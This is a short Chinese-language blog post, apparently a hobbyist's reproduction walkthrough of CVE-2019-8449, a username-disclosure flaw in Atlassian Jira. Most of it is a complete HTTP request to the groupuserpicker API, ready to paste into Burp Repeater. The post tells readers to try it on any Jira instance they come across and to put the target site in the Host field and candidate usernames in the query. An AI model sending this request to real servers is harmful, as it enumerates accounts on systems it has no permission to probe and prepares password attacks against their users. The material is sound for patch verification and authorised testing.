漏洞：CVE-2019-8449（jira可以显示出来用户名）
适用版本： Atlassian Jira 7.12< 受影响版本<8.4.0
大家好我是羔羊，今天和大家分享一个CVE漏洞复现
1、具体pyload:
GET /rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=false HTTP/1.1
Host: www.baidu.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2、漏洞复现
一般看到这种JIRA的都可以尝试去试试有没有该漏洞直接burp抓包
/image-20210601111521609.png)
首先抓个包然后放到Repeater模块
/image-20210601111708766.png)
然后直接将上面的pyload复制粘贴过去，这里Host填写你复现的网址，在query这里填写测试的用户名
然后点击GO
1、找到用户
/image-20210601112522483.png)
像这种就是找到了，就复现成功了，我们再来尝试个找不到的
2、找不到用户
/image-20210601112640564.png)
